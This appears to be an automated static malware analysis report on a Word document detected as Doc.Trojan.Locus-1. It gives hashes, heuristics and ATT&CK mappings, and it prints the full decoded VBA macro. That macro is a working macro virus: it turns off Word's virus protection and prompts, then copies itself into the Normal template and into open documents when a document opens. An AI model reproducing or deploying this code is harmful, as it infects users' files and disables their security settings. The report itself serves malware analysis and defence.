Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a8c6debf41d3292…

MALICIOUS

Office (OLE)

34.5 KB Created: 2002-06-10 09:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 50f36101b41ba9fffaa9566885875da7 SHA-1: 082c062b928cce91f6336d4ab0f2342628560390 SHA-256: 2a8c6debf41d329227817bc8c1bdfefa73288bd5fdc2c2c4d697633a8ae6ae96
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic identified the file as 'Doc.Trojan.Locus-1', indicating a known malicious document. The presence of a 'Document_Open' VBA macro, which attempts to spread itself to other documents by inserting its code into the Normal template, strongly suggests a macro-based malware dropper. The macro's obfuscated nature and attempts to disable security features point towards malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Locus-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locus-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2331 bytes
SHA-256: 18abd32884d8389aa8903b73983d982d363a0295a2438742556f054985f1a80a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Áîðîòüñÿ è èñêàòü
'Íàéòè è ...ðàçìíîæàòüñÿ!!!
'6/10/02
'Locust_Ver.01
Private Sub Main()
Dim i, k As Byte
On Error Resume Next
'Open "c:\Locust_rep.txt" For Append As #1
'Print #1, Date; "_"; System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Network\Logon", "username")
'Print #1, "/"; System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Network\Logon", "PrimaryProvider")
'Print #1, "/"; System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Network\Logon", "LMLogon")
Application.Options.VirusProtection = False
Application.Options.SaveNormalPrompt = False
Application.Options.SavePropertiesPrompt = False
Application.ScreenUpdating = False
Application.DisplayAlerts = False
Application.EnableCancelKey = xlDisabled
   With Application.NormalTemplate.VBProject.VBComponents(1).CodeModule
     If .Find("ðàçìíîæàòüñÿ", 1, 1, 4, 25, True, False) = False Then
       .InsertLines 1, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines)
       .ReplaceLine 3, "'" & Date
       Application.NormalTemplate.Save
       'Print #1, "/"; "Normal"
     End If
   End With
   For i = 1 To Application.Documents.Count
     With Application.Documents(i).VBProject.VBComponents(1).CodeModule
       If .Find("ðàçìíîæàòüñÿ", 1, 1, 4, 25, True, False) = False Then
         .InsertLines 1, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines)
         .ReplaceLine 3, "'" & Date
         'Documents(i).WritePassword = "1"
         Application.Documents(i).SaveAs (Documents(i).Path + Documents(i).Name)
         'Print #1, "/"; Documents(i).Name
       End If
     End With
   Next i
  'Close #1
  Application.ScreenUpdating = True
  Application.DisplayAlerts = True
  Application.EnableCancelKey = xlInterrupt
End Sub
Private Sub Document_New()
  On Error Resume Next
  Main
End Sub
Private Sub Document_Open()
  On Error Resume Next
  Main
End Sub